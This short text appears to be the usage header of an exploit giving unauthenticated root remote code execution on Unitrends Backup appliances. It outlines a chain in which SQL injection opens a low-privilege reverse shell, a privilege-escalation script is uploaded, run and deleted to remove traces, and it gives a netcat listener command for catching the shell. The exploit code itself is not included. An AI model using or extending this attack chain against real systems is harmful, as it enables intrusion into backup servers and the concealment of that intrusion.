Unauthenticated root RCE for Unitrends Backup
Tested against appliance versions:
[+] 10.0.0-2.201706252204.CentOS6
[+] 10.0.0-5.201708151911.CentOS6
The Deal:
1. A sqli + low priv remote RCE vulnerability to is used to establish a low priv
remote shell from the UEB 10 host (you don't need to worry about setting up
a listener).
2. A local privesc exploit containing the desired command is uploaded to the host
using this shell, and executed.
3. The initial low priv shell is closed, and the local privesc script is deleted.
To use the exploit as written, make sure you're running a reverse
shell listener somewhere, using a command like:
$ nc -nlvp 4444
Then, just specify the ip and port of the remote listener in the
exploit command. Alternatively, modify this exploit to contain a
command of your choosing by modifying the 'cmd' argument.
